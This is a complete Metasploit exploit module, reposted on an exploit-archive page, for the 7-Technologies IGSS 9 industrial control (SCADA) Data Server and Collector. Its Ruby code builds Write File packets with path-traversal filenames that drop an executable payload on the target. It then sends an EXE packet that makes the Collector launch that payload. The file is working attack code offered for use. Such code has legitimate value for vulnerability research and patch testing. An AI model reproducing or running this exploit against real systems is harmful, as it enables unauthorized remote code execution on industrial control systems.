ExploitFixes
7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities 2011-05-31 13:15:02

##
# $Id: igss9_misc.rb 12773 2011-05-30 21:06:56Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",
'Description' => %q{
This module exploits multiple vulnerabilities found on IGSS 9's Data Server and
Data Collector services. The initial approach is first by transferring our binary
with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send
an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run
that payload with a CreateProcessA() function as a new thread.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'Luigi Auriemma', #Initial discovery, poc
'sinn3r', #Metasploit
],
'References' =>
[
[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], #Write File packet flaw
[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], #EXE packet flaw
],
'DefaultOptions' =>
{
'ExitFunction' => "none",
},
'Platform' => 'win',
'Targets' =>
[
#Service packs do not have any influence on the exploit
[ 'Windows XP', {} ],
[ 'Windows 7', {} ],
[ 'Windows Server 2003 / R2' , {} ],
],
'Privileged' => false,
'DisclosureDate' => "Mar 24 2011"))

register_options(
[
Opt::RPORT(0, false),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
], self.class)
end

def write_packets(data)
pkts = []

#Payload will be in C:\Documents and Settings\All Users\Application Data\7T\
tmp = rand_text_alpha(1)
filename = "#{tmp}.exe"

data_size = data.length

0.step(data_size, 870) do |s|
#Each packet only contains 870 bytes of data
chunk = data[s, 870]

#Data size of this packet
chunk_size = [chunk.length].pack('v')

#Flag is set if this is our last chunk
#Flag 0x01 will cause the server to close the connection
flag = (chunk.length >= 870) ? "\x00" : "\x01"

pkt = "\x01\x00\x34\x12"
pkt << "\x0D" #Opcode
pkt << "\x00"*7
pkt << flag #Flag
pkt << "\x00\x00\x00"
pkt << "\x02" #Command (Write File)
pkt << "\x00\x00\x00"
pkt << "../../../../#{filename}" #Filename
pkt << "\x00"*73
pkt << "\x3E\x01\x01\x02"
pkt << "\x00\x10"
pkt << "\x00\x00"
pkt << "\x78\x01\x08\x04"
pkt << "\x78\x01\x08\x04"
pkt << "\x00"*22
pkt << chunk_size #Data size
pkt << "\x00\x00"
pkt << chunk #Data chunk

#Add the total packet size to the header
pkt_size = [pkt.length + 2].pack('v')
pkt = pkt_size + pkt

#Put this packet to the array
pkts << pkt
end

return filename, pkts
end

def exe_packet(filename)
#Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS
#We'll just traverse our way back to C:\ as base
base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"

pkt = "\x00\x01"
pkt << "\x00\x00\x00\x00\x00\x00\x00"
pkt << "\x01"
pkt << "\x00\x00"
pkt << "\x0A"
pkt << "\x00"*31
pkt << "#{base}Documents and Settings\\All Users\\Application Data\\7T\\#{filename}\""
pkt << "\x00"*143

return pkt
end

def exploit
#Generate payload and our Write packets
print_status("Generating payload...")
p = generate_payload_exe
fname, w_packets = write_packets(p)
w_packets_count = w_packets.length.to_s
print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")

#Generate our EXE packet
e_packet = exe_packet(fname)

#Create socket to igssdataserver.exe (12401)
connect(true, {'RPORT'=>12401})

#Count how many packets we've sent to track progress
counter = 1

#Send Write packets
print_status("Sending Write packets...")

w_packets.each do |packet|
if datastore['VERBOSE']
print_status("Sending packet #{counter.to_s}/#{w_packets_count}")
counter += 1
end
sock.put(packet)
res = sock.get_once() #Wait before we do the next sock.put again
end

#After the 0x01 flag is set, our connection will be closed by the server.
disconnect

#Now to port 12397 (nc.exe)
connect(true, {'RPORT'=>12397})

print_status("Attempt to execute our payload...")
sock.put(e_packet)

#We must delay disconnect() for a bit, otherwise dc.exe won't call
#kernel32!CreateProcessA
select(nil, nil, nil, 1)
disconnect
end
end